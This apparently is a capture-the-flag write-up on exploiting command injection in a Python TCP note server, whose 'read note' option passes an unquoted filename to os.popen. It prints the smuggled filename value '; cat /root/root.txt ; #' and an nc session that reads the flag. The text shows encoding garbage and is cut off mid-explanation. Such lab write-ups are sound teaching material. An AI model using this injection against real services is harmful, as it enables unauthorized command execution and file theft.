Goalâexfiltrate /root/root.txt that is created when the Docker image is built.
The âserverâ is a plain TCP menu on portâŻ4444
that lets users create / list / read text notes
insideâŻ./notes
.
When a note is read the code executes
os.popen(f'cat ./notes/{TreatedFile}')
with no quoting at all â any shell metacharacter in TreatedFile
becomes part of the command â commandâinjection.
We only need menu option 3âŻ=âŻâLer Anotaçãoâ.
Send a filename that closes the first cat
command, runs our own, then commentsâout the rest:
"; cat /root/root.txt ; #
How it looks on the wire:
$ nc target 4444
PythonSuperSecureServer | Desenvolvido por F4, o estagiario.
<https://github.com/RonaldLSB>
1 - Criar uma anotacao
2 - Listar anotacoes Existentes
3 - Ler Anotacao
4 - sair
Escolha uma opcao: 3
Nome da anotacao que deseja ler (Ex: Exemplo): "; cat /root/root.txt ; #
B{flag}
The server turns our input into
cat ./notes/"; cat /root/root.txt ; #.txt"
Shell parsing breaks that into
cat ./notes/
â(ignored)